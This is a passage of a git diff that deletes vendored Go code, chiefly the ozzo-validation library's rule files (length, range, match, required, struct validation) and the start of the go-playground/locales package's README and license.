-// An empty value is considered valid. Use the Required rule to make sure a value is not empty. -func Date(layout string) *dateRule { - return &dateRule{ - layout: layout, - message: "must be a valid date", - rangeMessage: "the data is out of range", - } -} - -// Error sets the error message that is used when the value being validated is not a valid date. -func (r *dateRule) Error(message string) *dateRule { - r.message = message - return r -} - -// RangeError sets the error message that is used when the value being validated is out of the specified Min/Max date range. -func (r *dateRule) RangeError(message string) *dateRule { - r.rangeMessage = message - return r -} - -// Min sets the minimum date range. A zero value means skipping the minimum range validation. -func (r *dateRule) Min(min time.Time) *dateRule { - r.min = min - return r -} - -// Max sets the maximum date range. A zero value means skipping the maximum range validation. -func (r *dateRule) Max(max time.Time) *dateRule { - r.max = max - return r -} - -// Validate checks if the given value is a valid date. -func (r *dateRule) Validate(value interface{}) error { - value, isNil := Indirect(value) - if isNil || IsEmpty(value) { - return nil - } - - str, err := EnsureString(value) - if err != nil { - return err - } - - date, err := time.Parse(r.layout, str) - if err != nil { - return errors.New(r.message) - } - - if !r.min.IsZero() && r.min.After(date) || !r.max.IsZero() && date.After(r.max) { - return errors.New(r.rangeMessage) - } - - return nil -} diff --git a/vendor/github.com/go-ozzo/ozzo-validation/error.go b/vendor/github.com/go-ozzo/ozzo-validation/error.go deleted file mode 100644 index d89d628573..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/error.go +++ /dev/null @@ -1,89 +0,0 @@ -// Copyright 2016 Qiang Xue. All rights reserved. -// Use of this source code is governed by a MIT-style -// license that can be found in the LICENSE file. - -package validation - -import ( - "encoding/json" - "fmt" - "sort" -) - -type ( - // Errors represents the validation errors that are indexed by struct field names, map or slice keys. - Errors map[string]error - - // InternalError represents an error that should NOT be treated as a validation error. - InternalError interface { - error - InternalError() error - } - - internalError struct { - error - } -) - -// NewInternalError wraps a given error into an InternalError. -func NewInternalError(err error) InternalError { - return &internalError{error: err} -} - -// InternalError returns the actual error that it wraps around. -func (e *internalError) InternalError() error { - return e.error -} - -// Error returns the error string of Errors. -func (es Errors) Error() string { - if len(es) == 0 { - return "" - } - - keys := []string{} - for key := range es { - keys = append(keys, key) - } - sort.Strings(keys) - - s := "" - for i, key := range keys { - if i > 0 { - s += "; " - } - if errs, ok := es[key].(Errors); ok { - s += fmt.Sprintf("%v: (%v)", key, errs) - } else { - s += fmt.Sprintf("%v: %v", key, es[key].Error()) - } - } - return s + "." -} - -// MarshalJSON converts the Errors into a valid JSON. -func (es Errors) MarshalJSON() ([]byte, error) { - errs := map[string]interface{}{} - for key, err := range es { - if ms, ok := err.(json.Marshaler); ok { - errs[key] = ms - } else { - errs[key] = err.Error() - } - } - return json.Marshal(errs) -} - -// Filter removes all nils from Errors and returns back the updated Errors as an error. -// If the length of Errors becomes 0, it will return nil. -func (es Errors) Filter() error { - for key, value := range es { - if value == nil { - delete(es, key) - } - } - if len(es) == 0 { - return nil - } - return es -} diff --git a/vendor/github.com/go-ozzo/ozzo-validation/in.go b/vendor/github.com/go-ozzo/ozzo-validation/in.go deleted file mode 100644 index 9673dd0ba7..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/in.go +++ /dev/null @@ -1,43 +0,0 @@ -// Copyright 2016 Qiang Xue. All rights reserved. -// Use of this source code is governed by a MIT-style -// license that can be found in the LICENSE file. - -package validation - -import "errors" - -// In returns a validation rule that checks if a value can be found in the given list of values. -// Note that the value being checked and the possible range of values must be of the same type. -// An empty value is considered valid. Use the Required rule to make sure a value is not empty. -func In(values ...interface{}) *inRule { - return &inRule{ - elements: values, - message: "must be a valid value", - } -} - -type inRule struct { - elements []interface{} - message string -} - -// Validate checks if the given value is valid or not. -func (r *inRule) Validate(value interface{}) error { - value, isNil := Indirect(value) - if isNil || IsEmpty(value) { - return nil - } - - for _, e := range r.elements { - if e == value { - return nil - } - } - return errors.New(r.message) -} - -// Error sets the error message for the rule. -func (r *inRule) Error(message string) *inRule { - r.message = message - return r -} diff --git a/vendor/github.com/go-ozzo/ozzo-validation/length.go b/vendor/github.com/go-ozzo/ozzo-validation/length.go deleted file mode 100644 index 752df45d5e..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/length.go +++ /dev/null @@ -1,77 +0,0 @@ -// Copyright 2016 Qiang Xue. All rights reserved. -// Use of this source code is governed by a MIT-style -// license that can be found in the LICENSE file. - -package validation - -import ( - "errors" - "fmt" - "unicode/utf8" -) - -// Length returns a validation rule that checks if a value's length is within the specified range. -// If max is 0, it means there is no upper bound for the length. -// This rule should only be used for validating strings, slices, maps, and arrays. -// An empty value is considered valid. Use the Required rule to make sure a value is not empty. -func Length(min, max int) *lengthRule { - message := "the value must be empty" - if min == 0 && max > 0 { - message = fmt.Sprintf("the length must be no more than %v", max) - } else if min > 0 && max == 0 { - message = fmt.Sprintf("the length must be no less than %v", min) - } else if min > 0 && max > 0 { - message = fmt.Sprintf("the length must be between %v and %v", min, max) - } - return &lengthRule{ - min: min, - max: max, - message: message, - } -} - -// RuneLength returns a validation rule that checks if a string's rune length is within the specified range. -// If max is 0, it means there is no upper bound for the length. -// This rule should only be used for validating strings, slices, maps, and arrays. -// An empty value is considered valid. Use the Required rule to make sure a value is not empty. -// If the value being validated is not a string, the rule works the same as Length. -func RuneLength(min, max int) *lengthRule { - r := Length(min, max) - r.rune = true - return r -} - -type lengthRule struct { - min, max int - message string - rune bool -} - -// Validate checks if the given value is valid or not. -func (v *lengthRule) Validate(value interface{}) error { - value, isNil := Indirect(value) - if isNil || IsEmpty(value) { - return nil - } - - var ( - l int - err error - ) - if s, ok := value.(string); ok && v.rune { - l = utf8.RuneCountInString(s) - } else if l, err = LengthOfValue(value); err != nil { - return err - } - - if v.min > 0 && l < v.min || v.max > 0 && l > v.max { - return errors.New(v.message) - } - return nil -} - -// Error sets the error message for the rule. -func (v *lengthRule) Error(message string) *lengthRule { - v.message = message - return v -} diff --git a/vendor/github.com/go-ozzo/ozzo-validation/match.go b/vendor/github.com/go-ozzo/ozzo-validation/match.go deleted file mode 100644 index 02aa4fb62c..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/match.go +++ /dev/null @@ -1,47 +0,0 @@ -// Copyright 2016 Qiang Xue. All rights reserved. -// Use of this source code is governed by a MIT-style -// license that can be found in the LICENSE file. - -package validation - -import ( - "errors" - "regexp" -) - -// Match returns a validation rule that checks if a value matches the specified regular expression. -// This rule should only be used for validating strings and byte slices, or a validation error will be reported. -// An empty value is considered valid. Use the Required rule to make sure a value is not empty. -func Match(re *regexp.Regexp) *matchRule { - return &matchRule{ - re: re, - message: "must be in a valid format", - } -} - -type matchRule struct { - re *regexp.Regexp - message string -} - -// Validate checks if the given value is valid or not. -func (v *matchRule) Validate(value interface{}) error { - value, isNil := Indirect(value) - if isNil { - return nil - } - - isString, str, isBytes, bs := StringOrBytes(value) - if isString && (str == "" || v.re.MatchString(str)) { - return nil - } else if isBytes && (len(bs) == 0 || v.re.Match(bs)) { - return nil - } - return errors.New(v.message) -} - -// Error sets the error message for the rule. -func (v *matchRule) Error(message string) *matchRule { - v.message = message - return v -} diff --git a/vendor/github.com/go-ozzo/ozzo-validation/minmax.go b/vendor/github.com/go-ozzo/ozzo-validation/minmax.go deleted file mode 100644 index 952bd1c4fc..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/minmax.go +++ /dev/null @@ -1,177 +0,0 @@ -// Copyright 2016 Qiang Xue. All rights reserved. -// Use of this source code is governed by a MIT-style -// license that can be found in the LICENSE file. - -package validation - -import ( - "errors" - "fmt" - "reflect" - "time" -) - -type thresholdRule struct { - threshold interface{} - operator int - message string -} - -const ( - greaterThan = iota - greaterEqualThan - lessThan - lessEqualThan -) - -// Min is a validation rule that checks if a value is greater or equal than the specified value. -// By calling Exclusive, the rule will check if the value is strictly greater than the specified value. -// Note that the value being checked and the threshold value must be of the same type. -// Only int, uint, float and time.Time types are supported. -// An empty value is considered valid. Please use the Required rule to make sure a value is not empty. -func Min(min interface{}) *thresholdRule { - return &thresholdRule{ - threshold: min, - operator: greaterEqualThan, - message: fmt.Sprintf("must be no less than %v", min), - } -} - -// Max is a validation rule that checks if a value is less or equal than the specified value. -// By calling Exclusive, the rule will check if the value is strictly less than the specified value. -// Note that the value being checked and the threshold value must be of the same type. -// Only int, uint, float and time.Time types are supported. -// An empty value is considered valid. Please use the Required rule to make sure a value is not empty. -func Max(max interface{}) *thresholdRule { - return &thresholdRule{ - threshold: max, - operator: lessEqualThan, - message: fmt.Sprintf("must be no greater than %v", max), - } -} - -// Exclusive sets the comparison to exclude the boundary value. -func (r *thresholdRule) Exclusive() *thresholdRule { - if r.operator == greaterEqualThan { - r.operator = greaterThan - r.message = fmt.Sprintf("must be greater than %v", r.threshold) - } else if r.operator == lessEqualThan { - r.operator = lessThan - r.message = fmt.Sprintf("must be less than %v", r.threshold) - } - return r -} - -// Validate checks if the given value is valid or not. -func (r *thresholdRule) Validate(value interface{}) error { - value, isNil := Indirect(value) - if isNil || IsEmpty(value) { - return nil - } - - rv := reflect.ValueOf(r.threshold) - switch rv.Kind() { - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - v, err := ToInt(value) - if err != nil { - return err - } - if r.compareInt(rv.Int(), v) { - return nil - } - - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr: - v, err := ToUint(value) - if err != nil { - return err - } - if r.compareUint(rv.Uint(), v) { - return nil - } - - case reflect.Float32, reflect.Float64: - v, err := ToFloat(value) - if err != nil { - return err - } - if r.compareFloat(rv.Float(), v) { - return nil - } - - case reflect.Struct: - t, ok := r.threshold.(time.Time) - if !ok { - return fmt.Errorf("type not supported: %v", rv.Type()) - } - v, ok := value.(time.Time) - if !ok { - return fmt.Errorf("cannot convert %v to time.Time", reflect.TypeOf(value)) - } - if v.IsZero() || r.compareTime(t, v) { - return nil - } - - default: - return fmt.Errorf("type not supported: %v", rv.Type()) - } - - return errors.New(r.message) -} - -// Error sets the error message for the rule. -func (r *thresholdRule) Error(message string) *thresholdRule { - r.message = message - return r -} - -func (r *thresholdRule) compareInt(threshold, value int64) bool { - switch r.operator { - case greaterThan: - return value > threshold - case greaterEqualThan: - return value >= threshold - case lessThan: - return value < threshold - default: - return value <= threshold - } -} - -func (r *thresholdRule) compareUint(threshold, value uint64) bool { - switch r.operator { - case greaterThan: - return value > threshold - case greaterEqualThan: - return value >= threshold - case lessThan: - return value < threshold - default: - return value <= threshold - } -} - -func (r *thresholdRule) compareFloat(threshold, value float64) bool { - switch r.operator { - case greaterThan: - return value > threshold - case greaterEqualThan: - return value >= threshold - case lessThan: - return value < threshold - default: - return value <= threshold - } -} - -func (r *thresholdRule) compareTime(threshold, value time.Time) bool { - switch r.operator { - case greaterThan: - return value.After(threshold) - case greaterEqualThan: - return value.After(threshold) || value.Equal(threshold) - case lessThan: - return value.Before(threshold) - default: - return value.Before(threshold) || value.Equal(threshold) - } -} diff --git a/vendor/github.com/go-ozzo/ozzo-validation/not_nil.go b/vendor/github.com/go-ozzo/ozzo-validation/not_nil.go deleted file mode 100644 index 6cfca1204a..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/not_nil.go +++ /dev/null @@ -1,32 +0,0 @@ -// Copyright 2016 Qiang Xue. All rights reserved. -// Use of this source code is governed by a MIT-style -// license that can be found in the LICENSE file. - -package validation - -import "errors" - -// NotNil is a validation rule that checks if a value is not nil. -// NotNil only handles types including interface, pointer, slice, and map. -// All other types are considered valid. -var NotNil = ¬NilRule{message: "is required"} - -type notNilRule struct { - message string -} - -// Validate checks if the given value is valid or not. -func (r *notNilRule) Validate(value interface{}) error { - _, isNil := Indirect(value) - if isNil { - return errors.New(r.message) - } - return nil -} - -// Error sets the error message for the rule. -func (r *notNilRule) Error(message string) *notNilRule { - return ¬NilRule{ - message: message, - } -} diff --git a/vendor/github.com/go-ozzo/ozzo-validation/required.go b/vendor/github.com/go-ozzo/ozzo-validation/required.go deleted file mode 100644 index ef9558e025..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/required.go +++ /dev/null @@ -1,42 +0,0 @@ -// Copyright 2016 Qiang Xue. All rights reserved. -// Use of this source code is governed by a MIT-style -// license that can be found in the LICENSE file. - -package validation - -import "errors" - -// Required is a validation rule that checks if a value is not empty. -// A value is considered not empty if -// - integer, float: not zero -// - bool: true -// - string, array, slice, map: len() > 0 -// - interface, pointer: not nil and the referenced value is not empty -// - any other types -var Required = &requiredRule{message: "cannot be blank", skipNil: false} - -// NilOrNotEmpty checks if a value is a nil pointer or a value that is not empty. -// NilOrNotEmpty differs from Required in that it treats a nil pointer as valid. -var NilOrNotEmpty = &requiredRule{message: "cannot be blank", skipNil: true} - -type requiredRule struct { - message string - skipNil bool -} - -// Validate checks if the given value is valid or not. -func (v *requiredRule) Validate(value interface{}) error { - value, isNil := Indirect(value) - if v.skipNil && !isNil && IsEmpty(value) || !v.skipNil && (isNil || IsEmpty(value)) { - return errors.New(v.message) - } - return nil -} - -// Error sets the error message for the rule. -func (v *requiredRule) Error(message string) *requiredRule { - return &requiredRule{ - message: message, - skipNil: v.skipNil, - } -} diff --git a/vendor/github.com/go-ozzo/ozzo-validation/string.go b/vendor/github.com/go-ozzo/ozzo-validation/string.go deleted file mode 100644 index e8f2a5e749..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/string.go +++ /dev/null @@ -1,48 +0,0 @@ -// Copyright 2016 Qiang Xue. All rights reserved. -// Use of this source code is governed by a MIT-style -// license that can be found in the LICENSE file. - -package validation - -import "errors" - -type stringValidator func(string) bool - -// StringRule is a rule that checks a string variable using a specified stringValidator. -type StringRule struct { - validate stringValidator - message string -} - -// NewStringRule creates a new validation rule using a function that takes a string value and returns a bool. -// The rule returned will use the function to check if a given string or byte slice is valid or not. -// An empty value is considered to be valid. Please use the Required rule to make sure a value is not empty. -func NewStringRule(validator stringValidator, message string) *StringRule { - return &StringRule{ - validate: validator, - message: message, - } -} - -// Error sets the error message for the rule. -func (v *StringRule) Error(message string) *StringRule { - return NewStringRule(v.validate, message) -} - -// Validate checks if the given value is valid or not. -func (v *StringRule) Validate(value interface{}) error { - value, isNil := Indirect(value) - if isNil || IsEmpty(value) { - return nil - } - - str, err := EnsureString(value) - if err != nil { - return err - } - - if v.validate(str) { - return nil - } - return errors.New(v.message) -} diff --git a/vendor/github.com/go-ozzo/ozzo-validation/struct.go b/vendor/github.com/go-ozzo/ozzo-validation/struct.go deleted file mode 100644 index 2d3a19c34a..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/struct.go +++ /dev/null @@ -1,154 +0,0 @@ -// Copyright 2016 Qiang Xue. All rights reserved. -// Use of this source code is governed by a MIT-style -// license that can be found in the LICENSE file. - -package validation - -import ( - "errors" - "fmt" - "reflect" - "strings" -) - -var ( - // StructPointerError is the error that a struct being validated is not specified as a pointer. - StructPointerError = errors.New("only a pointer to a struct can be validated") -) - -type ( - // FieldPointerError is the error that a field is not specified as a pointer. - FieldPointerError int - - // FieldNotFoundError is the error that a field cannot be found in the struct. - FieldNotFoundError int - - // FieldRules represents a rule set associated with a struct field. - FieldRules struct { - fieldPtr interface{} - rules []Rule - } -) - -// Error returns the error string of FieldPointerError. -func (e FieldPointerError) Error() string { - return fmt.Sprintf("field #%v must be specified as a pointer", int(e)) -} - -// Error returns the error string of FieldNotFoundError. -func (e FieldNotFoundError) Error() string { - return fmt.Sprintf("field #%v cannot be found in the struct", int(e)) -} - -// ValidateStruct validates a struct by checking the specified struct fields against the corresponding validation rules. -// Note that the struct being validated must be specified as a pointer to it. If the pointer is nil, it is considered valid. -// Use Field() to specify struct fields that need to be validated. Each Field() call specifies a single field which -// should be specified as a pointer to the field. A field can be associated with multiple rules. -// For example, -// -// value := struct { -// Name string -// Value string -// }{"name", "demo"} -// err := validation.ValidateStruct(&value, -// validation.Field(&a.Name, validation.Required), -// validation.Field(&a.Value, validation.Required, validation.Length(5, 10)), -// ) -// fmt.Println(err) -// // Value: the length must be between 5 and 10. -// -// An error will be returned if validation fails. -func ValidateStruct(structPtr interface{}, fields ...*FieldRules) error { - value := reflect.ValueOf(structPtr) - if value.Kind() != reflect.Ptr || !value.IsNil() && value.Elem().Kind() != reflect.Struct { - // must be a pointer to a struct - return NewInternalError(StructPointerError) - } - if value.IsNil() { - // treat a nil struct pointer as valid - return nil - } - value = value.Elem() - - errs := Errors{} - - for i, fr := range fields { - fv := reflect.ValueOf(fr.fieldPtr) - if fv.Kind() != reflect.Ptr { - return NewInternalError(FieldPointerError(i)) - } - ft := findStructField(value, fv) - if ft == nil { - return NewInternalError(FieldNotFoundError(i)) - } - if err := Validate(fv.Elem().Interface(), fr.rules...); err != nil { - if ie, ok := err.(InternalError); ok && ie.InternalError() != nil{ - return err - } - if ft.Anonymous { - // merge errors from anonymous struct field - if es, ok := err.(Errors); ok { - for name, value := range es { - errs[name] = value - } - continue - } - } - errs[getErrorFieldName(ft)] = err - } - } - - if len(errs) > 0 { - return errs - } - return nil -} - -// Field specifies a struct field and the corresponding validation rules. -// The struct field must be specified as a pointer to it. -func Field(fieldPtr interface{}, rules ...Rule) *FieldRules { - return &FieldRules{ - fieldPtr: fieldPtr, - rules: rules, - } -} - -// findStructField looks for a field in the given struct. -// The field being looked for should be a pointer to the actual struct field. -// If found, the field info will be returned. Otherwise, nil will be returned. -func findStructField(structValue reflect.Value, fieldValue reflect.Value) *reflect.StructField { - ptr := fieldValue.Pointer() - for i := structValue.NumField() - 1; i >= 0; i-- { - sf := structValue.Type().Field(i) - if ptr == structValue.Field(i).UnsafeAddr() { - // do additional type comparison because it's possible that the address of - // an embedded struct is the same as the first field of the embedded struct - if sf.Type == fieldValue.Elem().Type() { - return &sf - } - } - if sf.Anonymous { - // delve into anonymous struct to look for the field - fi := structValue.Field(i) - if sf.Type.Kind() == reflect.Ptr { - fi = fi.Elem() - } - if fi.Kind() == reflect.Struct { - if f := findStructField(fi, fieldValue); f != nil { - return f - } - } - } - } - return nil -} - -// getErrorFieldName returns the name that should be used to represent the validation error of a struct field. -func getErrorFieldName(f *reflect.StructField) string { - if tag := f.Tag.Get(ErrorTag); tag != "" { - if cps := strings.SplitN(tag, ",", 2); cps[0] != "" { - return cps[0] - } - } - return f.Name -} diff --git a/vendor/github.com/go-ozzo/ozzo-validation/util.go b/vendor/github.com/go-ozzo/ozzo-validation/util.go deleted file mode 100644 index 2c1c5881c3..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/util.go +++ /dev/null @@ -1,157 +0,0 @@ -// Copyright 2016 Qiang Xue. All rights reserved. -// Use of this source code is governed by a MIT-style -// license that can be found in the LICENSE file. - -package validation - -import ( - "database/sql/driver" - "errors" - "fmt" - "reflect" -) - -var ( - bytesType = reflect.TypeOf([]byte(nil)) - valuerType = reflect.TypeOf((*driver.Valuer)(nil)).Elem() -) - -// EnsureString ensures the given value is a string. -// If the value is a byte slice, it will be typecast into a string. -// An error is returned otherwise. -func EnsureString(value interface{}) (string, error) { - v := reflect.ValueOf(value) - if v.Kind() == reflect.String { - return v.String(), nil - } - if v.Type() == bytesType { - return string(v.Interface().([]byte)), nil - } - return "", errors.New("must be either a string or byte slice") -} - -// StringOrBytes typecasts a value into a string or byte slice. -// Boolean flags are returned to indicate if the typecasting succeeds or not. -func StringOrBytes(value interface{}) (isString bool, str string, isBytes bool, bs []byte) { - v := reflect.ValueOf(value) - if v.Kind() == reflect.String { - str = v.String() - isString = true - } else if v.Kind() == reflect.Slice && v.Type() == bytesType { - bs = v.Interface().([]byte) - isBytes = true - } - return -} - -// LengthOfValue returns the length of a value that is a string, slice, map, or array. -// An error is returned for all other types. -func LengthOfValue(value interface{}) (int, error) { - v := reflect.ValueOf(value) - switch v.Kind() { - case reflect.String, reflect.Slice, reflect.Map, reflect.Array: - return v.Len(), nil - } - return 0, fmt.Errorf("cannot get the length of %v", v.Kind()) -} - -// ToInt converts the given value to an int64. -// An error is returned for all incompatible types. -func ToInt(value interface{}) (int64, error) { - v := reflect.ValueOf(value) - switch v.Kind() { - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - return v.Int(), nil - } - return 0, fmt.Errorf("cannot convert %v to int64", v.Kind()) -} - -// ToUint converts the given value to an uint64. -// An error is returned for all incompatible types. -func ToUint(value interface{}) (uint64, error) { - v := reflect.ValueOf(value) - switch v.Kind() { - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr: - return v.Uint(), nil - } - return 0, fmt.Errorf("cannot convert %v to uint64", v.Kind()) -} - -// ToFloat converts the given value to a float64. -// An error is returned for all incompatible types. -func ToFloat(value interface{}) (float64, error) { - v := reflect.ValueOf(value) - switch v.Kind() { - case reflect.Float32, reflect.Float64: - return v.Float(), nil - } - return 0, fmt.Errorf("cannot convert %v to float64", v.Kind()) -} - -// IsEmpty checks if a value is empty or not. -// A value is considered empty if -// - integer, float: zero -// - bool: false -// - string, array: len() == 0 -// - slice, map: nil or len() == 0 -// - interface, pointer: nil or the referenced value is empty -func IsEmpty(value interface{}) bool { - v := reflect.ValueOf(value) - switch v.Kind() { - case reflect.String, reflect.Array, reflect.Map, reflect.Slice: - return v.Len() == 0 - case reflect.Bool: - return !v.Bool() - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - return v.Int() == 0 - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr: - return v.Uint() == 0 - case reflect.Float32, reflect.Float64: - return v.Float() == 0 - case reflect.Invalid: - return true - case reflect.Interface, reflect.Ptr: - if v.IsNil() { - return true - } - return IsEmpty(v.Elem().Interface()) - } - - return false -} - -// Indirect returns the value that the given interface or pointer references to. -// If the value implements driver.Valuer, it will deal with the value returned by -// the Value() method instead. A boolean value is also returned to indicate if -// the value is nil or not (only applicable to interface, pointer, map, and slice). -// If the value is neither an interface nor a pointer, it will be returned back. -func Indirect(value interface{}) (interface{}, bool) { - rv := reflect.ValueOf(value) - kind := rv.Kind() - switch kind { - case reflect.Invalid: - return nil, true - case reflect.Ptr, reflect.Interface: - if rv.IsNil() { - return nil, true - } - return Indirect(rv.Elem().Interface()) - case reflect.Slice, reflect.Map, reflect.Func, reflect.Chan: - if rv.IsNil() { - return nil, true - } - } - - if rv.Type().Implements(valuerType) { - return indirectValuer(value.(driver.Valuer)) - } - - return value, false -} - -func indirectValuer(valuer driver.Valuer) (interface{}, bool) { - if value, err := valuer.Value(); value != nil && err == nil { - return Indirect(value) - } - return nil, true -} diff --git a/vendor/github.com/go-ozzo/ozzo-validation/validation.go b/vendor/github.com/go-ozzo/ozzo-validation/validation.go deleted file mode 100644 index 1633258178..0000000000 --- a/vendor/github.com/go-ozzo/ozzo-validation/validation.go +++ /dev/null @@ -1,133 +0,0 @@ -// Copyright 2016 Qiang Xue. All rights reserved. -// Use of this source code is governed by a MIT-style -// license that can be found in the LICENSE file. - -// Package validation provides configurable and extensible rules for validating data of various types. -package validation - -import ( - "fmt" - "reflect" - "strconv" -) - -type ( - // Validatable is the interface indicating the type implementing it supports data validation. - Validatable interface { - // Validate validates the data and returns an error if validation fails. - Validate() error - } - - // Rule represents a validation rule. - Rule interface { - // Validate validates a value and returns a value if validation fails. - Validate(value interface{}) error - } - - // RuleFunc represents a validator function. - // You may wrap it as a Rule by calling By(). - RuleFunc func(value interface{}) error -) - -var ( - // ErrorTag is the struct tag name used to customize the error field name for a struct field. - ErrorTag = "json" - - // Skip is a special validation rule that indicates all rules following it should be skipped. - Skip = &skipRule{} - - validatableType = reflect.TypeOf((*Validatable)(nil)).Elem() -) - -// Validate validates the given value and returns the validation error, if any. -// -// Validate performs validation using the following steps: -// - validate the value against the rules passed in as parameters -// - if the value is a map and the map values implement `Validatable`, call `Validate` of every map value -// - if the value is a slice or array whose values implement `Validatable`, call `Validate` of every element -func Validate(value interface{}, rules ...Rule) error { - for _, rule := range rules { - if _, ok := rule.(*skipRule); ok { - return nil - } - if err := rule.Validate(value); err != nil { - return err - } - } - - rv := reflect.ValueOf(value) - if (rv.Kind() == reflect.Ptr || rv.Kind() == reflect.Interface) && rv.IsNil() { - return nil - } - - if v, ok := value.(Validatable); ok { - return v.Validate() - } - - switch rv.Kind() { - case reflect.Map: - if rv.Type().Elem().Implements(validatableType) { - return validateMap(rv) - } - case reflect.Slice, reflect.Array: - if rv.Type().Elem().Implements(validatableType) { - return validateSlice(rv) - } - case reflect.Ptr, reflect.Interface: - return Validate(rv.Elem().Interface()) - } - - return nil -} - -// validateMap validates a map of validatable elements -func validateMap(rv reflect.Value) error { - errs := Errors{} - for _, key := range rv.MapKeys() { - if mv := rv.MapIndex(key).Interface(); mv != nil { - if err := mv.(Validatable).Validate(); err != nil { - errs[fmt.Sprintf("%v", key.Interface())] = err - } - } - } - if len(errs) > 0 { - return errs - } - return nil -} - -// validateMap validates a slice/array of validatable elements -func validateSlice(rv reflect.Value) error { - errs := Errors{} - l := rv.Len() - for i := 0; i < l; i++ { - if ev := rv.Index(i).Interface(); ev != nil { - if err := ev.(Validatable).Validate(); err != nil { - errs[strconv.Itoa(i)] = err - } - } - } - if len(errs) > 0 { - return errs - } - return nil -} - -type skipRule struct{} - -func (r *skipRule) Validate(interface{}) error { - return nil -} - -type inlineRule struct { - f RuleFunc -} - -func (r *inlineRule) Validate(value interface{}) error { - return r.f(value) -} - -// By wraps a RuleFunc into a Rule. -func By(f RuleFunc) Rule { - return &inlineRule{f} -} diff --git a/vendor/github.com/go-playground/locales/.gitignore b/vendor/github.com/go-playground/locales/.gitignore deleted file mode 100644 index daf913b1b3..0000000000 --- a/vendor/github.com/go-playground/locales/.gitignore +++ /dev/null @@ -1,24 +0,0 @@ -# Compiled Object files, Static and Dynamic libs (Shared Objects) -*.o -*.a -*.so - -# Folders -_obj -_test - -# Architecture specific extensions/prefixes -*.[568vq] -[568vq].out - -*.cgo1.go -*.cgo2.c -_cgo_defun.c -_cgo_gotypes.go -_cgo_export.* - -_testmain.go - -*.exe -*.test -*.prof diff --git a/vendor/github.com/go-playground/locales/LICENSE b/vendor/github.com/go-playground/locales/LICENSE deleted file mode 100644 index 75854ac4f0..0000000000 --- a/vendor/github.com/go-playground/locales/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2016 Go Playground - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. \ No newline at end of file diff --git a/vendor/github.com/go-playground/locales/README.md b/vendor/github.com/go-playground/locales/README.md deleted file mode 100644 index 43329f8d32..0000000000 --- a/vendor/github.com/go-playground/locales/README.md +++ /dev/null @@ -1,172 +0,0 @@ -## locales -![Project status](https://img.shields.io/badge/version-0.12.1-green.svg) -[![Build Status](https://semaphoreci.com/api/v1/joeybloggs/locales/branches/master/badge.svg)](https://semaphoreci.com/joeybloggs/locales) -[![Go Report Card](https://goreportcard.com/badge/github.com/go-playground/locales)](https://goreportcard.com/report/github.com/go-playground/locales) -[![GoDoc](https://godoc.org/github.com/go-playground/locales?status.svg)](https://godoc.org/github.com/go-playground/locales) -![License](https://img.shields.io/dub/l/vibe-d.svg) -[![Gitter](https://badges.gitter.im/go-playground/locales.svg)](https://gitter.im/go-playground/locales?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge) - -Locales is a set of locales generated from the [Unicode CLDR Project](http://cldr.unicode.org/) which can be used independently or within -an i18n package; these were built for use with, but not exclusive to, [Universal Translator](https://github.com/go-playground/universal-translator). - -Features --------- -- [x] Rules generated from the latest [CLDR](http://cldr.unicode.org/index/downloads) data, v31.0.1 -- [x] Contains Cardinal, Ordinal and Range Plural Rules -- [x] Contains Month, Weekday and Timezone translations built in -- [x] Contains Date & Time formatting functions -- [x] Contains Number, Currency, Accounting and Percent formatting functions -- [x] Supports the "Gregorian" calendar only ( my time isn't unlimited, had to draw the line somewhere ) - -Full Tests --------------------- -I could sure use your help adding tests for every locale, it is a huge undertaking and I just don't have the free time to do it all at the moment; -any help would be **greatly appreciated!!!!** please see [issue](https://github.com/go-playground/locales/issues/1) for details. - -Installation ------------ - -Use go get - -```shell -go get github.com/go-playground/locales -``` - -NOTES --------- -You'll notice most return types are []byte, this is because most of the time the results will be concatenated with a larger body -of text and can avoid some allocations if already appending to a byte array, otherwise just cast as string. - -Usage -------- -```go -package main - -import ( - "fmt" - "time" - - "github.com/go-playground/locales/currency" - "github.com/go-playground/locales/en_CA" -) - -func main() { - - loc, _ := time.LoadLocation("America/Toronto") - datetime := time.Date(2016, 02, 03, 9, 0, 1, 0, loc) - - l := en_CA.New() - - // Dates - fmt.Println(l.FmtDateFull(datetime)) - fmt.Println(l.FmtDateLong(datetime)) - fmt.Println(l.FmtDateMedium(datetime)) - fmt.Println(l.FmtDateShort(datetime)) - - // Times - fmt.Println(l.FmtTimeFull(datetime)) - 